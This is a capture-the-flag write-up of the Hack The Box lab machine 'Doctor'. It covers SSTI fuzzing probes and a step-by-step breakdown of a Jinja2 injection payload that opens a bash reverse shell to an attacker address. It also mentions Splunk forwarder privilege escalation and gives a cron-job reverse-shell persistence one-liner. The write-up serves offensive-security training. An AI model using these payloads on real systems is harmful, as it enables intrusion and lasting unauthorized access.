Doctor HTB Walkthrough

Dec 21, 2024    #box   #htb   #easy   #linux   #ssti   #splunk   #persistence   #web  

Doctor Hack The Box Walkthrough/Writeup:

How I use variables & Wordlists:

1. Enumeration:

NMAP:

Basic Scans:

Comprehensive Scans:

Splunk: 8089:

Splunk Universal Forwarder Primer:

Enumerating Splunk:

Web 80:

Initial Enumeration:

Enumerating doctors.htb

Finding /archive in the html of the homepage

Fuzzing for SSTI and discovering the template engine.

Payload Path Taken Template Engine Result Response/Output
${7*7} Direct Input Smarty ✅ Vulnerable 49
Mako ❓ Unknown Unknown
a{*comment*}b Comment Handling Input Smarty ✅ Vulnerable ab
${"".join("ab")} Join Function Injection Smarty ✅ Vulnerable ab
Mako ✅ Vulnerable ab
Jinja2 ❓ Unknown Unknown
{{7*7}} Double Braces Input Jinja2 ✅ Vulnerable 49
Twig ✅ Vulnerable 49
Unknown ❓ Unknown Unknown
{{7*'7'}} String Multiplication Attempt Jinja2 ✅ Vulnerable 7777777
Twig ✅ Vulnerable 49
${7*7}
a{*comment*}b
${"".join("ab")}
{{7*7}}
{{7*'7'}}

RCE POC:

2. Foothold:

Getting a reverse shell via SSTI:

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__%}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.80/9967 0>&1'").read()}}{%endif%}{%endfor%}

Exploit/Reverse Shell Breakdown:

The payload:

{% for x in ().__class__.__base__.__subclasses__() %}
    {% if "warning" in x.__name__ %}
        {{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.80/9967 0>&1'").read()}}
    {% endif %}
{% endfor %}

Step-by-step Analysis

  1. Traversal of Python Classes:

    • ().__class__ retrieves the class of an empty tuple (e.g., <class 'tuple'>).
    • ().__class__.__base__ accesses the base class of tuple, which is <class 'object'>.
    • ().__class__.__base__.__subclasses__() enumerates all subclasses of the base object class.
      • Purpose: This enables us to traverse the entire Python object hierarchy, including security-sensitive classes.
    • Why:
      • This traversal is necessary to gain access to internal classes that may expose sensitive or powerful functionality.
      • The goal is to locate a class that allows interaction with Python’s built-in capabilities, particularly those capable of importing modules or executing commands.
      • Without this enumeration, we wouldn’t be able to dynamically discover and exploit useful subclasses like warnings.WarningMessage.
    • Simple Terms: It’s like looking through a list of all possible tools in Python to find one that can break the system.
  2. Finding a Specific Subclass:

    • for x in ().__class__.__base__.__subclasses__(): Iterates through all subclasses of object.
    • if "warning" in x.__name__: Filters for a subclass where "warning" exists in the class name.
      • Example match: <class 'warnings.WarningMessage'>.
    • Why:
      • Not all subclasses are useful for exploitation. The filter specifically targets classes that are likely to provide the _module attribute or similar access to the __builtins__ dictionary.
      • warnings.WarningMessage is chosen because it provides a pathway to Python’s built-in functions through its _module attribute.
      • We use this class as a pivot to access the dangerous __builtins__['__import__'] method, which allows importing any module dynamically.
      • Simple Terms: It’s like picking a specific tool from the list (a warning-related tool) because it opens the door to other powerful tools hidden inside Python.
  3. Accessing Built-in Functions:

    • x()._module: Accesses the module of the identified subclass.
    • .__builtins__: Retrieves the built-in functions of the module.
    • ['__import__']('os'): Dynamically imports the os module.
  4. Executing the Reverse Shell Command:

    • os.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.80/9967 0>&1'").read(): Opens a subprocess to execute a reverse shell command.
    • Effect: The server connects to our machine (10.10.14.80) on port 9967, granting remote access.

Exploitation Mitigation Techniques:

Discovering Our User is part of the adm group:

Finding a clear text password in /var/log/apache2 logs

Enumerating as shaun:

3. Privilege Escalation:

Logging into splunk Universal Forwarder as shaun:

Getting root using SplunkWhisperer2 to exploit the Universal Forwarder:

4. Persistence:

Persistence Method 1: Creating a cron job reverse shell:

(crontab -l > .tab ; echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.80/80 0>&1'" >> .tab ; crontab .tab ; rm .tab) > /dev/null 2>&1

Persistence Method 2: Adding an SSH key:

Lessons Learned:

What did I learn?

  1. This took my way longer to complete than I would have liked. Web is currently my weakest area so I am making a concerted effort to do these types of boxes and challenges in order to improve my web weaknesses.
  2. I learned to always look at source code even if the page appears empty or unimportant. As two key pieces of information were found this way.
    1. The initial html comment regarding /archive on the message upload page.
    2. The xml contents of the /archive page itself which provided the foothold as we were able to fuzz for SSTI.
  3. I also learned I am going to grind these like I did AD boxes to improve. Doing lots of AD boxes really helped me get better and dial in.

What silly mistakes did I make?

  1. I tried for a long time to connect to Splunks Universal Forwarder with HTTP, instead of HTTPS that wasted a good few mins.
  2. I had a moment where my brain was fried when figuring out cron syntax, luckily this exists https://cron.help

Sign off:

Remember, folks as always: with great power comes great pwnage. Use this knowledge wisely, and always stay on the right side of the law!

Until next time, hack the planet!

– Bloodstiller

– Get in touch bloodstiller at bloodstiller dot com



Next: Forest HTB Walkthrough